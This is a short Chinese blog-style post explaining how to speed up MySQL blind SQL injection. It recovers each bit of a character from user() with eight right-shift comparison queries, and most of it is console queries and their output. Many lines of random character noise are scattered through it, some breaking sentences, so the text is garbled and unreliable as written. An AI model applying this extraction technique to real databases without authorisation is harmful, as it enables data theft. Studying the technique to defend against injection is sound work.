关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位


8 V7 x1 `; ^5 R3 H% y6 T' i; B0 D: m
下面将以查询mysql数据库当中user()的第一位为例:
/ x0 f9 d- R  c5 C! Z) s) J


ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
! h, F+ U! G6 j/ T" n
" p$ J! m! v0 d6 P

首先执行如下sql语句:
$ X2 P' n- r* m4 e5 @  Z


mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
# E* _) _( K" m. p, h3 i


我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

" e5 i7 t% G. l( S+ T
# T+ }' M' k1 w
9 b: P3 ]" W8 _第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1



如果运算结果为1,说明第一位为0,不为1


2 R9 l* e6 q2 w; ~1 M
3 Y, {$ }- r5 m" g! g% L+ f3 [+ _+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |

/ z7 n* h* \5 H0 q) Q+————————————–+

| 1 |

+————————————–+
5 [+ h, E; Q$ o6 r/ C2 U
1 row in set (0.00 sec)

) L% x  g0 F) P5 e. e1 g这样我们就确定这个8bit的ascii的第一位为0
/ X7 \  I; s$ m0 N9 Y% ^7 m


0 q- N3 B+ A* K2 a% i- g( Q" p第二次我们来做6次右偏移来确定前两位

8 l. ]! o- n0 B: t

. M4 e& ?8 |& g前两位可能是01或00,即依然可以与0做比较,

: b* `5 p% G: q( Mmysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+
1 @% e5 ^# j: ?  H
| (ascii((substr(user(),1,1))) >> 6)=0 |
  D  K* G) c# v4 ]# _
6 F$ }4 S: ~) Q2 c2 v; T  C0 B+————————————–+

! r0 n: g$ ~2 G| 0 |

+————————————–+

1 row in set (0.00 sec)


8 {3 o% N6 X2 V; M& @
结果为0,即第二位为1
& A( P  y% a: n2 [5 C


开始猜测前三位为010或011



让我们看看010和011的ascii码是多少
& Q2 t: {( U; t  ^$ m" q# H: G' Y; F
7 }: c! c/ ~0 e

分别查询select b’011′ select b’010′
6 S3 _2 R6 W& Q; g' h' _

; \/ ~3 E% D" w  G* _/ U( L% p
获得结果 010 = 2 011 = 3


4 r# W/ {2 j% s3 Y. ~$ W8 B
执行如下sql:


( w; E  u& L/ f! w9 c0 B- r
6 K  F0 o+ n  ]7 I" I4 y) Pmysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |
% ]7 v) j0 A$ a9 A
+————————————–+
! y" S$ H9 E) e, V  t2 o" q6 w# w
| 0 |

& n3 Y" @7 h7 K" o+ T4 T+————————————–+

, h( W7 L) N  R即前三位不为010,而是011

9 F1 w0 {0 \( c+ y3 ]3 i
" r/ k$ f" f# _2 ]
直到获得最后一位



最终结果为:01110010
" P/ @. a3 v/ \1 q2 s1 t% ~$ R


转换一下:
6 L0 r0 K8 g/ y% Y# e
4 q( w. Z% H$ L" \

select b’01110010′

1 f, _8 M# q% N1 V0 s

查询结果



& Z& b" \" n5 w3 H( p: c6 j0 @+————-+
" [5 e6 L" m" l& ~" V/ r# B
3 H% W6 e; F) N' x4 }/ B| b’01110010′ |

+————-+
$ x1 F1 j$ F7 Y% s2 D7 s5 R9 H
* S5 l& B- ~! k. N: E& f| r |
6 d& v) Q8 a1 j$ n
+————-+
$ X2 t" }% e1 {' q& p- W0 g
1 row in set (0.00 sec)
1 w+ e- v* ]/ b9 l+ r' {, m
5 z) X4 H$ `5 v  _! v' q
" i' I9 \# U# N
9 @0 h' V3 m$ K& Q  @+ A" v, {这样我们就获得了user()的第一位.其它位依此类推